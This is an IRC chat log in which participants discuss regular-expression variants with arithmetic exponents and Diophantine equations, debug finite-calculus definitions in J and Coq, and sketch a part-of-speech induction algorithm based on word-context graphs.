23:21:59 <augur> i mean, look, ignoring the time it takes to do stack operations, which is roughly constant because you're at most pushing or popping form all stacks
23:22:10 <augur> each symbol takes constant time to recognize
23:22:22 <fax> but backtracking
23:22:28 <augur> no backtracking
23:22:46 <augur> deterministic processes
23:22:57 <augur> maybe. i dont know. :p
23:23:02 <fax> ;D
23:23:19 <augur> i mean, this is sort of where the extras fuck you up, right
23:23:20 <oerjan> augur: oh this minsky machine thing is not about symbols at all. you could do TC computation without reading a single symbol, once you have filled the stacks from your input
23:23:47 <augur> hm
23:23:56 <augur> ok
23:24:31 <augur> so i guess the real question is, what is an interesting subset of these languages
23:24:43 <augur> if you can only use a single global stack, is that interesting?
23:24:58 <augur> what about a global stack with only one symbol, eg its an integer register?
23:25:08 <augur> what about multiple integer registers? etc.
23:25:28 <oerjan> multiple integer registers no, since that's all you use for minsky machines anyway
23:25:34 <augur> right
23:26:26 <augur> my implementation for the exponent language just has integer registers which necessarily reset to their fullest just prior to transitioning to a symbol that pops from it.
23:26:36 <oerjan> two global stacks, um now we are dangerously close to a brainfuck tape...
23:26:55 <augur> e.g. a^n b^n c^n pushes n times, then transitions to another stack, pops n times, then resets, and transitions and pops n times again
23:27:14 <augur> but i think the crucial thing is that theres some transparency between the symbols and the string, right
23:27:40 <oerjan> augur: you said something about determinism, that's rather different from regexes...
23:27:53 <augur> i was maaaaybe saying you have deterministic processes
23:28:20 <augur> you can do the majority of regexes deterministically, modulo the non-regular processes
23:28:41 <augur> i dont know if you could do this deterministically. probably not.
23:29:09 <augur> because a^m a^n b^m c^n will i think be potentially problematic
23:29:21 <augur> e.g. aaabbc vs aaabcc
23:29:40 <oerjan> well you'll need some arithmetic at least, not just a stack machine
23:29:56 <augur> well no, you dont need arithmetic
23:30:16 <oerjan> i mean to parse in linear time
23:30:18 <augur> you'd just need backtracking to branch off when you change from incrementing m to incrementing n
23:30:26 <augur> so that probably isnt linear time
23:30:48 <oerjan> a^m a^n b^m c^n pretty obviously can be parsed in linear time
23:31:04 <augur> well, it IS just a^n a^m b^m c^n
23:31:09 <augur> so its a simple CF language
23:31:17 <augur> so i guess it is indeed linear time
23:31:24 <fax> oerjan, it CAN but actually doing it in a general way seems like a difficult problem to me
23:31:27 <augur> but getting a linear time stack machine
23:31:35 <augur> state* machine
23:31:42 <fax> oerjan, I mean you just parse a^x then b^m and then c^(x-m)
23:31:49 <fax> but figuring that out in linear time ?
23:31:52 <oerjan> if you don't allow nested exponents, then maybe it is possible. would require some integer linear equations i think
23:31:54 <augur> right, if you could do the arithmetic then sure.
23:32:12 <fax> also... I wonder if this way, we might introduce subtraction :))))
23:32:17 <augur> then again, you'd build state machines for each thing, right
23:32:20 <fax> then reach full recursive sets
23:32:32 <augur> so you'd be given the expression /a{m}a{n}b{m}c{n}/
23:33:22 <augur> and you'd just do some arithmomagic internally to turn that into /a{x}b{x-n}c{x-m}/ where the second exponents are calculated once you transition away form the last a
23:33:38 <augur> so yeah that would do it, you're right
23:33:46 <fax> yeah but remember we have multiplication and addition of constants
23:33:52 <fax> so this is getting a bit wild
23:33:56 <augur> thats ok
23:34:07 <augur> i dont think having simple math is a problem
23:34:20 <oerjan> i'm much more doubtful if we have multiplication
23:34:24 <augur> /a{n}b{2*n}/ should be a valid expression
23:34:28 <fax> simle math? :)))
23:34:37 <fax> augur diophantine equations are recursive
23:34:38 <augur> as should /a{m}b{n}c{m*n}/
23:34:43 <oerjan> although i'm not sure even with linear stuff
23:34:44 <fax> hilberts 10th
23:35:14 <augur> perhaps!
23:35:14 <augur> but
23:35:15 <oerjan> fax: there is a limitation in that we have a finite string to parse
23:35:38 <oerjan> so we cannot get arbitrarily large numbers for parsing a given string
23:35:44 <fax> hm
23:35:54 <augur> it depends on what simplicity we allow. is there a way to get /a{x}b{some recursive equation dependent on x}/?
23:35:59 <fax> yeah you are right, that puts a strong limitation on it
23:36:55 <augur> i mean, sure, diophantine equations are recursive
23:37:03 <augur> but do we need to _solve_ them or just compute a value with one
23:37:13 <fax> *nod*
23:37:57 <augur> because if we have, say, /a{x}b{y}c{3x + 5y}/ you have, _roughly_, a diophantine equation. or at least part of one
23:37:57 <oerjan> in principle we could just go through all possible values of the exponents and test each combination in turn. i don't think that gives linear time though :D
23:38:03 -!- BeholdMyGlory has quit (Read error: Connection reset by peer).
23:38:04 <augur> but you're not solving for x and y, you're _given_ x and y
23:38:05 -!- FireFly has quit (Quit: Leaving).
23:38:13 <augur> so all you need to so is compute 3x + 5y
23:38:16 <fax> that proves it's subturing
23:38:49 <augur> i mean, maybe there ARE cases where we'd need to solve for it, i dont know
23:39:08 <augur> somewhere with like /...a{x}...b{y}.../
23:39:26 <augur> where x and y are determined according to a diophantine equation
23:40:06 <augur> /a{3x + 2y}b{x}c{y}/
23:40:14 <augur> maybe?
23:41:39 <augur> but surely not, because thats refactorable. /a{z}b{z - 2y}c{y}/ => /a{z}b{w}c{z/2 + w/2}/
23:41:56 <augur> i dont think we'd ever have to _solve_ diphantines.
23:42:40 <augur> or whatever. i think i did that wrong.
23:42:40 <oerjan> hm... actually i think we must, but not necessarily hard ones
23:42:46 <augur> example?
23:43:43 <oerjan> a^{x+y} b^{2y+3z} c^{y+z}
23:44:27 <oerjan> er wait
23:44:35 <oerjan> * a^{x+y} b^{2y+3z} c^{x+z}
23:44:38 <oerjan> sheesh
23:46:08 <oerjan> * /a{x+y}b{2y+3z}c{x+z}/
23:46:33 <augur> a^(x+y) b^(2y+3x) c^(x+z) = a^w b^(2w + x) c^(x+z) = a^w b^q c^(q - 2w + z)
23:47:01 <augur> = a^w b^q c^(q - 2w) c*
23:47:34 <augur> so you dont have to _solve_ a diophantine equation
23:48:03 <oerjan> note that you have to check that the original x,y, and z become positive integers
23:48:16 <oerjan> or nonnegative
23:48:29 <augur> no, you just calculate q - 2w on the fly
23:48:33 <augur> and if its negative you fail
23:48:43 <augur> actually no, you dont, right
23:48:46 <oerjan> my example was, however, too simple
23:49:04 <augur> because if its negative, since you have + z, q - 2w + z can be any number
23:49:23 <augur> so this is technically the language a*b*c*!
23:50:04 <oerjan> /a{2x+3y}b{5y+2z}c{7z+11w}/
23:50:16 <fax> :D
23:50:18 <oerjan> _now_ you're bloody going to have to solve something
23:50:55 <fax> aa{x}aaa{y}bbbbb{y}bb{z}ccccccc{z}ccccccccccc{w}
23:51:14 <oerjan> i forgot that for awkward linear integer equations, you need more variables than equations
23:52:21 <augur> = a{w}b{w/3-2x/3}c{7z+11w} = a{w}b{q}c{7z+33q+6x}}
23:53:11 <augur> = a{w}b{q}c{33q + n} = a{w}b{q}c{n} = a*b*c*
23:53:19 -!- alise has joined.
23:53:30 <oerjan> augur: and are you _really_ sure all of those correspond to x,y,z,w nonnegative originally?
23:53:35 <augur> it doesnt matter
23:53:46 <alise> Remember to update the alise sighting counter over the next week...
23:53:55 <alise> Oh, wait, most of you guys don't know. Unit again... yeah.
23:53:56 <oerjan> augur: _false_. there is no way you can get c, say
23:53:57 <augur> bye alise ::hug::
23:54:09 <alise> <3
23:54:26 <oerjan> alise: take care
23:54:33 <augur> oerjan: sure there is, because it contains a free variable (w), c{7z + 11w} is c*
23:54:37 <fax> see you
23:54:47 <alise> oerjan: I can't take care of myself, I'm dysfunctional! That's why I'm there! ;-)
23:54:55 <augur> well, not in the form you give it, but in the equivalent form it does
23:55:00 <augur> i think.
23:55:10 <oerjan> augur: c is not a string parsed by my original form, that's the _point_
23:55:17 <augur> what
23:55:37 <augur> what do you mean its not a string parsed by your original form
23:55:59 <oerjan> c is not a member of the language /a{2x+3y}b{5y+2z}c{7z+11w}/
23:56:17 <oerjan> because you damn well cannot get 1 = 7z+11w for nonnegative z,w
23:56:19 <augur> oh ok. ok then lets see
23:56:51 <augur> er
23:57:00 * oerjan cackles evilly
23:57:05 <augur> lets see
23:57:09 <augur> to get c
23:57:22 <augur> x = 0, y = 0, z = 0
23:57:27 <alise> 12:30:34 <fungot> fax: maybe you shouldn't have mentioned your win by paradox in philosophy? bah, humbug :) don't have that
23:57:28 <alise> hahaha
23:57:34 <augur> because a{2x + 3y} = a{0}
23:57:43 <augur> and b{5y + 2z} = 0
23:57:43 <oerjan> um, augur, it's _obvious_ you cannot get c
23:57:53 <alise> win by paradox /is/ pretty philosophically dodgy
23:58:11 <oerjan> you cannot get anything strictly between 0 and 7
23:58:11 <augur> therefore you'd have to generate c{11w} = c
23:58:21 <augur> so yes. indeed you are correct.
23:58:49 <fax> oerjan,
23:58:52 <augur> you'd get c^(11n)
23:59:02 <augur> for n in Z
23:59:29 <augur> but again, oerjan, i dont think this would be an issue
23:59:37 <augur> since it doesnt involve _solving_ a diophanting
23:59:37 <alise> 12:51:16 <fax> <3 finite calculus
23:59:37 <alise> it's like arithmetic but cooler!
23:59:42 <fax> in my book is says assume P(x1,...,xm) only takes prime values, then let p = |P(1,...,1)| and consider Q(y1,...,ym)=P(py1+1,...pym+1)
23:59:46 <alise> diophanting sounds like an awesome sexual act
23:59:49 <augur> ;)
23:59:56 * augur diophants alise
2010-03-15
00:00:49 <fax> then it says that Q(y1,...,ym) = P(1,...,1) = 0 (mod p), hence Q(y1,...,ym) = +/- p is Q is constant and so is P
00:02:51 <alise> fax: what's the abstract algorithm for finite integrals?
00:02:53 <alise> maybe I can J it up
00:03:56 <fax> alise, I don't know what you mean.. symbolic antidifferentiation?
00:05:44 -!- coppro has joined.
00:06:02 <fax> for definite integral you can just sum up the values
00:06:04 <fax> because it's finite!
00:06:38 <alise> your sigma definition in al-jabr looked all higher order
00:07:10 <alise> I should do integrals as an adverb: so I get the derivative function, and two arguments
00:07:14 <alise> but that's all
00:08:21 <augur> oerjan: its linear time tho.
00:08:28 <augur> since you again dont have to _solve the linear equation
00:08:36 <augur> i did my math wrong before
00:08:38 <alise> Fixpoint Sigma n a f :=
00:08:38 <alise> match n with
00:08:38 <alise> | O => 0
00:08:38 <alise> | S n => f a + Sigma n (a + 1) f
00:08:38 <alise> end.
00:08:38 <alise> Definition Discrete_Definite_Integral a b f :=
00:08:39 <alise> match b - a with
00:08:39 <alise> | Zpos p => Sigma (nat_of_P p) a f
00:08:40 <alise> | _ => 0
00:08:40 <alise> end.
00:08:43 <alise> Is this just because Coq sucks at recursion?
00:08:46 <alise> (Sorry for the flood.)
00:08:57 <alise> With J it should be a cinch, since it is awesome at arrays.
00:09:03 <alise> What's a simpler general recursive definition?
00:09:14 <augur> essentially you can refactor the expression into a{6x}b{2y}c{5x-y-z}
00:09:15 <alise> I've no idea what nat_of_P is for starters.
00:09:21 <alise> Z -> N?
00:10:09 <alise> So a (f integ) b, we do b - a, if it's negative then 0, otherwise...
00:10:14 <alise> ? Sigma n recurses indefinitely.
00:10:22 <alise> That doesn't really work.
00:10:27 <augur> and so you just recognize 6x a's and, 2y b's, and for each, determine what x and y are, and if they're not integers, fail.
00:11:06 <alise> fax: is this some magic?
00:11:14 <fax> hm?
00:11:26 <fax> Sigma is that normal big-summation thing
00:11:48 <oerjan> augur: if you are right, it only means i was not clever enough with my example - it should be possible to find one where the original variables are _not_ determined by the string parsed
00:11:56 <alise> oh, it decomposes n into n
00:12:00 <alise> that's confusing, call it n' or something
00:12:20 <augur> oerjan: im not sure if that even makes any sense
00:12:23 <oerjan> which was my point with using more variables than equations in the first place
00:12:27 <alise> so Sigma n a f = sum (map (\_ -> f a) [0..n])
00:12:36 <alise> 0 to n inclusive? Yes.
00:12:40 <alise> no wait
00:12:42 <alise> it's ... hm
00:12:50 <alise> it's just multiplication fax
00:12:56 <alise> oh wait no it's not
00:13:01 <augur> because if the variables range over Z, and exponents range over Z, then obviously we can just refactor and if at any more one of them fails to do so, we're done
00:13:06 <alise> sum (map f [1..n])
00:13:08 <alise> right?
00:13:10 <augur> we're still not _solving_ diophantines
00:13:24 <augur> also, holy fuck i have hand sanitizier that smells EXACTLY like pot
00:13:40 <alise> maybe it's actually pot that works like hand sanitiser
00:13:45 <oerjan> augur: the variables range over N
00:14:04 <oerjan> which should be obvious, since you don't have negative length string
00:14:05 <oerjan> *s
00:14:08 <alise> fax: Sigma n a f = sum (map f [1..n]) right? Just getting the range right
00:14:12 <augur> well, the exponents, at least.
00:14:27 <augur> i mean, theres no harm in ranging the variables over Z, so long as the exponents are always N
00:14:45 <oerjan> augur: my notation is simply meant as an abbreviation for expanding the sums out
00:15:13 <fax> alise yeah
00:15:14 <augur> e.g. if you had some expression a{m}b{n}c{m-n} and you tried to recognize abb..., you would calculate that you need 2-3 = -1 c's
00:15:21 <augur> which fails immediately because its a negative exponent
00:16:20 <alise> if. (y-x) > 0 do. +/ v (x+i. (y-x)) else. 0 end.
00:16:25 <oerjan> augur: the thing is that with sufficiently complicated linear equations, you can get into trouble determining whether any of the several solutions is a natural number. in fact even integers might give enough trouble.
00:17:25 -!- alise_ has joined.
00:17:25 <augur> but theres no harm in letting the variables range over Z, because itll just force things to be refactored. e.g. a{m}b{n}c{m-n} is just a{m+n}b{m}c{n}
00:17:33 <alise_> fax: ok right gimme an example to test integ
00:17:43 <augur> oerjan: but these arent EQUATIONS
00:17:46 <augur> thats the point, right
00:18:00 <augur> they're really just sums
00:18:14 <oerjan> augur: i am talking about the equations i'm trying to turn into examples that show you that you cannot get away with not solving them :D
00:18:17 <augur> i mean, if you did lets say
00:18:59 <alise_> fax: plz
00:19:18 <augur> if you had something like a{x^2 + y^2}b{x}c{y}
00:19:23 <augur> no even that
00:19:44 <alise_> fax: so this is my understanding of integrate
00:19:47 <alise_> your def
00:20:17 <augur> oerjan: im failing to see any situation where it actually _is_ a problem
00:20:30 <alise_> integ f x y | y-x > 0 = sum (map f [(y-x)..(i-1)])
00:20:32 <alise_> | otherwise = 0
00:20:33 -!- alise has quit (Ping timeout: 240 seconds).
00:20:39 <alise_> where [m..n] is [m,m+1,...,n-1,n]
00:20:43 <alise_> fax: isthis right?
00:20:46 <alise_> *is this
00:21:17 <fax> hello
00:22:31 <alise_> 23:20 <alise_> integ f x y | y-x > 0 = sum (map f [(y-x)..(i-1)])
00:22:31 <alise_> 23:20 <alise_> | otherwise = 0
00:22:31 <alise_> 23:20 * alise (~alise@genld-216-213.t-mobile.co.uk) Quit (Ping timeout: 240 seconds)
00:22:31 <alise_> 23:20 <alise_> where [m..n] is [m,m+1,...,n-1,n]
00:22:31 <alise_> is that your def?
00:22:37 <alise_> erm
00:22:51 <alise_> 23:20 <alise_> integ f x y | y-x > 0 = sum (map f [x..(y-x)])
00:22:52 <alise_> 23:20 <alise_> | otherwise = 0
00:22:52 <alise_> 23:20 * alise (~alise@genld-216-213.t-mobile.co.uk) Quit (Ping timeout: 240 seconds)
00:22:52 <alise_> 23:20 <alise_> where [m..n] is [m,m+1,...,n-1,n]
00:22:53 <alise_> that's not right...
00:23:22 <fax> alise use the paper instead of my code!
00:23:23 <alise_> ok so we loop (y-x) times, first value to the function is x
00:23:28 <fax> it's much clearer, and all my stuff is copying it exactly
00:23:30 <alise_> fax: no :)
00:23:53 <alise_> so
00:23:53 <alise_> i.(y-x)
00:23:53 <alise_> yields a list starting at 0 of (y-x) in length
00:23:53 <alise_> x + i. (y-x)
00:23:53 <alise_> ok, that's right
00:23:54 <alise_> so then we u on it
00:23:54 <alise_> and +/
00:23:56 <alise_> if. (y-x)>0 do. +/u x+i.y-x else. 0 end.
00:24:02 <alise_> this is right, so why do i get domain errors
00:24:10 -!- cheater2 has quit (Ping timeout: 264 seconds).
00:24:13 <alise_> ehh just gimme a dead simple example to test :))
00:24:50 <alise_> 3 (id integ) 4
00:24:50 <alise_> |domain error
00:24:50 <alise_> | 3 (id integ)4
00:24:52 <alise_> there is no damn reason for that
00:24:53 <fax> example of waht?
00:24:57 -!- cheater3 has joined.
00:24:58 <alise_> your finite integ
00:25:17 <oerjan> augur: what about /a{256*x}a{3*y}b{y}b{256*z}/
00:25:18 <oklopol> what's going on?
00:25:31 <alise_> ok seriously my definition is right
00:25:33 <alise_> myabe the if is the problem
00:25:49 <augur> oejan, what about it?
00:25:49 <oerjan> (trying to find an example based on the brainfuck constant algorithm trickeries
00:25:50 <alise_> nope
00:25:53 <oerjan> )
00:26:03 <oerjan> augur: can you refactor that?
00:26:12 <augur> recognize some number of a's, divide by 256, if thats not an int, fail
00:26:16 <augur> oh i see
00:26:19 <augur> oh my lets see :x
00:26:41 <oklopol> "integ f x y | y-x > 0 = sum (map f [x..(y-x)])" <<< you go from x to y-x? so y's like 2x+offset?
00:26:49 <oklopol> i mean not that i have any idea what that's about
00:27:57 <alise_> finite integration
00:28:01 <alise_> my j definition is breaking
00:28:02 <alise_> fix it :)
00:28:23 <alise_> integ =: adverb define
00:28:24 <alise_> if. (y-x)>0 do. +/u x+i.y-x else. 0 end.
00:28:24 <alise_> )
00:30:00 <augur> oerjan, first, w must be a multiple of 3
00:30:05 <augur> ew
00:30:08 <augur> er
00:30:15 <augur> the number of a's must be a multiple of 3
00:30:23 <oerjan> augur: incorrect
00:30:27 <augur> no, correct
00:30:32 <oerjan> no, incorrect
00:30:32 * fax downloads j
00:30:36 <augur> oerjan
00:30:48 <augur> it is correct
00:30:51 <augur> and let me prove to you why
00:30:52 <oerjan> 256 is not divisible by 3
00:30:57 <alise_> fax: good idea, watch out for the installer it fucks your home directory (ok well adds a directory or two to it)
00:31:01 <augur> that is irrelevant to the point
00:31:06 <alise_> you can specify a different dir but make sure you can write in it
00:31:06 <oerjan> x is not used anywhere else
00:31:08 <oklopol> alise_: how do you apply an adverb? :P
00:31:12 <augur> be quiet, oerjan
00:31:13 <augur> and listen
00:31:38 <oerjan> augur: no it is not, you can add 256 a's to any solution and get a new one, which is not a multiple of 3 if the original is
00:31:44 <augur> a^(256x + 3y) b^(y + 256x) = a^w b^(w/3 - 256x - 256w)
00:31:58 * fax realizes how much I have forgotten when given a blank window
00:32:15 <augur> er, 256x/3
00:32:15 -!- MizardX has quit (Read error: Connection reset by peer).
00:32:27 <augur> - 256z
00:32:28 -!- MizardX has joined.
00:32:28 <augur> not w
00:32:29 <augur> sorry.
00:32:57 <oklopol> alise_: how do i apply that to a function and two data arguments?
00:33:11 <augur> a^w b^(w/3 - 256x/3 - 256z)
00:33:20 <oklopol> i can't just do "x function integ y"
00:33:23 <alise_> oklopol: x (func integ) y
00:33:27 <oklopol> oh.
00:33:27 <alise_> produces a domain error, helpfully
00:33:29 <oklopol> i can huh
00:33:33 <alise_> no matter what you plug in
00:33:43 <oklopol> ah okay, is that the problem?
00:33:53 <alise_> oklopol: lol
00:33:53 <alise_> its just like x +/ y
00:33:53 <alise_> *it's
00:33:53 <alise_> here's its pal deriv
00:33:53 <alise_> deriv =: adverb define
00:33:54 <alise_> u (y+1) - u y
00:33:54 <alise_> )
00:33:55 <alise_> that one actually works
00:34:07 <augur> well you might be right actually :)
00:34:18 * oerjan cackles evilly
00:34:19 <alise_> oklopol: what that integ produces a domain error all the time?
00:34:28 <alise_> yes. i don't think the algorithm-if-it-worked has been translated incorrectly
00:34:41 <oklopol> alise_: i thought there had to be special syntax for when it's letters and not operator letters, exactly because it produced a domain error
00:34:52 <alise_> well, (foo deriv) x works so
00:34:55 <oklopol> then again why would that give me a domain error
00:34:59 <alise_> well exactly
00:35:10 <alise_> j comes with a debugger, I think i'll try that
00:35:24 <fax> fucking hell what's the identity
00:35:40 <alise_> if i can find it lol
00:36:23 <alise_> id v 3 : (,'y')
00:36:29 <alise_> that is ... not helpful
00:36:43 <fax> ah what the FUCK
00:36:57 -!- cheater3 has quit (Ping timeout: 276 seconds).
00:36:57 <fax> id =: monad : 'x' -- this is wrong
00:37:01 <fax> id =: monad : 'y' -- this works
00:37:08 <alise_> ?
00:37:10 <alise_> yeah
00:37:11 <alise_> because
00:37:14 <alise_> (x u y)
00:37:15 <alise_> is application
00:37:19 <fax> ???
00:37:20 <alise_> so (u y) is just a simplified form of that
00:37:22 <fax> oh
00:37:30 <alise_> remember everything is infix even things that aren't :))
00:37:41 <alise_> also often this is a nicer syntax for definitions:
00:37:45 <alise_> id =: monad define
00:37:45 <alise_> y
00:37:45 <alise_> )
00:37:50 <alise_> longer ones anyway
00:38:01 -!- cheater2 has joined.
00:38:04 <alise_> specially ones with strings :)
00:38:10 <augur> oerjan, so if we accept that this might be tricky, how can we make it trivial
00:38:15 <alise_> oklopol: you might be right about needing special syntax for the dyadic adverb case
00:38:18 <augur> eliminating addition would do it
00:38:34 <augur> atleast, variable addition
00:38:53 <augur> so a{2x+3} is fine, but a{2x+y} is not
00:38:54 <oklopol> a hint is it doesn't work no matter what the code in the body is
00:38:55 <fax> alise? +/ f a + i. b
00:38:58 <fax> this seems to work
00:39:00 <alise_> Unlike verbs, adverbs and conjunctions have fixed valence: an adverb is monadic (applying to a single argument to its left), and a conjunction is dyadic.
00:39:02 <oklopol> the call gives a domain error
00:39:02 <alise_> ahh
00:39:05 <alise_> maybe i need a conjunction!
00:39:11 <oerjan> augur: so each character can only be used with one variable?
00:39:15 <fax> sum f mapped over the range a to b
00:39:23 <alise_> yeppp i need a conjunction i think
00:40:05 <alise_> 3 (id integ) 4
00:40:05 <alise_> |ill-formed name: ?
00:40:05 <alise_> | ({."1 wdq) =:wd_val
00:40:05 <alise_> wat.
00:40:07 <augur> oerjan, well, no that would be stupid
00:40:08 <oerjan> augur: after all you'll also have to disallow a{2x}a{y}
00:40:08 <augur> you're right
00:40:17 <oklopol> alise_: why conjunction? it just takes one verb
00:40:23 <oklopol> one function
00:40:25 <alise_> ah right
00:40:28 <alise_> then wtf is up :)
00:40:47 <oklopol> well dunno, do adverbs actually get to talk about the parameters the resulting verb is called with?
00:40:52 <oklopol> x and y
00:40:58 <augur> well, but oerjan, here's the good thing at least, right
00:41:01 <oklopol> i mean, i don't actually remember pretty much any syntax...
00:41:06 <fax> oerjan did you se the proof about primes?
00:41:09 <alise_> yes they do
00:41:11 <alise_> that's why deriv works :-)
00:41:15 <oklopol> hmm right
00:41:17 <augur> a^256x a^3y b^y b^256z is surely linear time, right
00:41:20 <fax> I just wrote the one from the book out
00:41:29 <oerjan> fax: the one with P(1,1,...,1) ? yes
00:41:51 <fax> okay
00:41:53 <augur> thats just (a...)^x (aaa)^y b^y (b...)^z
00:42:38 <augur> which would have minimal amounts of backtracking
00:43:45 <alise_> http://www.mail-archive.com/general@jsoftware.com/msg04062.html
00:43:48 <alise_> may be a monadic/dyadic issue???
00:43:52 <oklopol> alise_: if it's any consolation, your deriv is wrong
00:44:00 <fax> hi oklopol
00:44:04 <oklopol> hi faxie
00:44:13 <augur> so if we didnt solve the simple diophantines, but instead had some amount of backtracking, it wouldnt be _too_ bad i think
00:44:16 <alise_> (id integ) 4
00:44:16 <alise_> |value error: x
00:44:16 <alise_> | +/u x+i.y- x
00:44:20 <alise_> well that's at least helpful
00:44:22 <oerjan> augur: mind you the diophantine equation in that particular case is not _that_ hard to solve. in fact i think several optimizing brainfuck compilers do it :D
00:44:26 <fax> oklopol, do you know about this bijection between N^2 and N!
00:44:36 <oerjan> (in essence)
00:44:38 <oklopol> well yes
00:44:44 <fax> f(x,y) = (x^2+y^2+x+2xy+3y)/2
00:44:51 <oklopol> oh well maybe not that one
00:44:55 <fax> it's so beautiful
00:44:56 <augur> oerjan: right, im just saying we dont have to solve them we could ust do something else
00:45:01 <fax> oerjan proved it in like 1 second
00:46:05 <oerjan> augur: i think if there is more than two variables for a given char, your backtracking could easily be quadratic etc.
00:46:09 <oerjan> *are
00:46:09 <oklopol> oh he did now
00:46:18 <alise_> "Mathematical fields always permit further division."
00:46:22 <fax> and I didn't know that C(n,k) is the n'th k-dimensional pyramid
00:46:30 <oerjan> oklopol: mind you i guessed it was a basic idea i already knew about
00:46:37 <augur> oerjan: hm. ok so then we dont have linear time
00:46:45 <oklopol> so how do you prove it?
00:46:48 <augur> im partially ok with that, actually
00:46:52 <alise_> My wit i sunmatched.
00:46:57 <oklopol> i mean one second sort of implies it's not some boring algebra
00:47:06 <alise_> *is unmatched
00:47:19 <augur> im more interested in the class of languages that is representable in such a simple fashion
00:47:24 <augur> the parse complexity isnt a huge issue
00:47:32 <oklopol> fax: i didn't know that either, n'th as in of height n?
00:47:39 <fax> n'th in the sequence
00:47:54 <fax> for example nC2 = n(n-1)/2 triangular numbers
00:47:58 <augur> tho the linear time subset of those is itself interesting
00:48:06 <alise_> oklopol: FIX IT :|
00:48:09 <oklopol> "in the sequence"?
00:48:13 <oklopol> alise_: fix what?
00:48:16 <fax> 1,3,6,10,15,...
00:48:18 <oklopol> the derivative is trivial to fix
00:48:26 <alise_> the deriv isn't broken.
00:48:29 <oklopol> oh well i see
00:48:33 <fax> oklopol, the really amazing bit is that the the FINITE INTEGRAL of nCk is nCk+1
00:49:01 <fax> (which explains why it's a bijection)
00:49:02 <oklopol> yeah finite integration and falling powers are pals
00:49:07 <oklopol> oh
00:49:29 <fax> and this generalizes too
00:49:38 <oklopol> so wait what do we see why f is a bijection now?
00:49:42 <oklopol> i don't see.
00:49:43 <alise_> ` =: adverb : 'u (y+1) - u y' NB. now I just need a fancy symbol for my broken integration
00:49:44 <HackEgo> No output.
00:49:53 <fax> oklopol, well if we are at T(3) = 6,
00:50:02 <fax> we can add 1, 2, or 3, until we hit T(4)
00:50:17 <oklopol> alise_: so what's ] deriv 1
00:50:27 <oklopol> 2 - 1 = 1
00:50:30 <fax> so there is a bijection between N and (x,y) : NxN where y < x
00:51:26 <alise_> oklopol: ] deriv 1 results in 1. why
00:51:28 <oerjan> oklopol: f(x,y) = (x+y)C2 + y iirc
00:51:39 <alise_> it's exactly fax's def so...
00:52:12 <alise_> aw ` isn't a valid name
00:52:38 <oklopol> alise_: oh sorry, ] doesn't show the problem
00:52:46 <oklopol> but try say +: deriv 6
00:53:02 <fax> and you can just shift it over to make the full bijection
00:53:06 <fax> skew
00:53:10 <oklopol> the derivative of +: is constant 2
00:53:41 <oklopol> oerjan: ah, okay that's cool
00:53:42 <alise_> then fax's definition must suffer from the same problem
00:53:47 <alise_> because his is exactly the same
00:53:51 <oklopol> where's fax's definition?
00:53:59 <alise_> http://github.com/odge/al-jabr/blob/master/Fun/FiniteCalculus.v
00:54:01 <oklopol> are you sure she expressed it in j?
00:54:02 <augur> oerjan: on an unrelated note, wanna hear a cool technique for doing part-of-speech induction? :D
00:54:13 <alise_> Definition DiscreteDerivative (f : Z -> Z) (x : Z) := f (x + 1) - f x.
00:54:20 <oklopol> okay
00:54:27 <oklopol> and you have f (x + 1 - f x)
00:54:30 <alise_> XD
00:54:33 <alise_> no i don't
00:54:40 <alise_> hmm so i do
00:54:41 <alise_> wow :D
00:54:45 <oklopol> well okay
00:54:46 <alise_> pretty epic failure there
00:54:48 <oerjan> augur: not really, my head is on the verge of full
00:54:51 <oklopol> you have f ((x + 1) - f x)
00:54:53 <augur> aww
00:54:58 <augur> well empty some of it out!
00:55:00 <oklopol> i mean in j terms
00:55:10 <augur> anyway, im going to tell the channel anyway, oerjan
00:55:12 <augur> so dont worry :D
00:55:17 <oerjan> AAAAAA
00:55:19 <augur> oklopol! im going to tell this to you too
00:55:20 <oerjan> i mean, ok
00:55:28 <augur> 8D
00:55:31 <oklopol> augur: go for it, not that i have any idea what's going on
00:55:31 <alise_> deriv =: adverb : '(u y+1)-u y'
00:55:36 <alise_> a nicer name would be... nice, though
00:55:49 <alise_> +:` x etc
00:55:54 <alise_> but that's not valid
00:55:54 <augur> oklopol: part of speech induction. that is, given some text in a language, discovering the parts of speech (noun, verb, etc.)
00:56:12 <augur> so the algorithm goes like this
00:56:17 <fax> http://www.jstor.org/pss/2323743
00:56:24 <fax> geometry of binomial coefficients - Stephen Wolfram
00:56:51 <fax> looking at the binary stuff :|
00:57:26 <alise_> fax: yay, % deriv now produces a correct plot
00:58:01 <alise_> + deriv still produces a ridiculous plot with little spikes at float errors
00:58:44 <augur> for each word, collect the "n-contexts" that it appears in, where the n-context of the word is the set of pairs of strings where each string is the n words immediately to the left/right of the word in some sentence the word appears in
00:59:03 <fax> nicee nice baby
00:59:25 <augur> e.g. if you have the sentence "the dog barked", the 1-context is (the, barked). if you have two sentenes, "the dog barked" and "the dog yelped", it has the 1-contexts {(the, barked), (the, yelped)}
00:59:54 <augur> so you just map each word to its sentential neighborhood, basically.
00:59:55 <alise_> oklopol: now fix integ >_>
00:59:58 <alise_> do you even know the error :P
01:00:26 <augur> then you build a graph where each node in the graph is a word, and an arc connects two words if the words share at least one context
01:01:12 <augur> that is, the graph is (V, E) where V is the words, and (w1, w2) is in E iff context(w1) intersect context(w2) is not empty
01:01:51 <augur> so that gives you a similarity graph, showing you which words show up in similar neighborhoods to which other words
01:02:16 <augur> then if you take the word-wise maximal cliques of this graph, you get the parts of speech
01:03:37 <alise_> oklopol: I know the equation is correct -
01:03:41 <alise_> +/] 3+i.1
01:03:41 <alise_> 3
01:03:47 <alise_> it's just the definition is broken
01:03:56 <augur> and this algorithm works _surprisingly_ well
01:03:57 <oklopol> yeah but there's a domain error no matter what code you put in the if
01:04:05 <oklopol> augur: i'll read.
01:04:05 <augur> but its pretty slow.
01:04:17 <augur> at least with the maximal graph algos i have.
01:04:31 <augur> er, maximal clique.
01:05:13 <alise_> oklopol: so it is the control structure.
01:05:45 <alise_> ah
01:05:50 <alise_> inside the ifneeds to be imperative things i think
01:05:52 <alise_> *if needs
01:06:40 <alise_> nope
01:06:45 <oklopol> augur: okay that does sound like an interesting idea
01:06:50 <augur> :)
01:06:58 <oklopol> i'll have to check the definition of maximum clique tho
01:07:04 <oklopol> i have a very vague idea
01:07:28 <augur> you know what a clique is right?
01:07:41 <oklopol> wait lol
01:07:43 <alise_> The last sentence executed in a T block is tested for a non-zero value in its leading atom, determining whether the B block after the do. or the rest of the sentence is executed. An empty T block result or an omitted T block tests true.
01:07:43 <alise_> or the rest of the sentence?
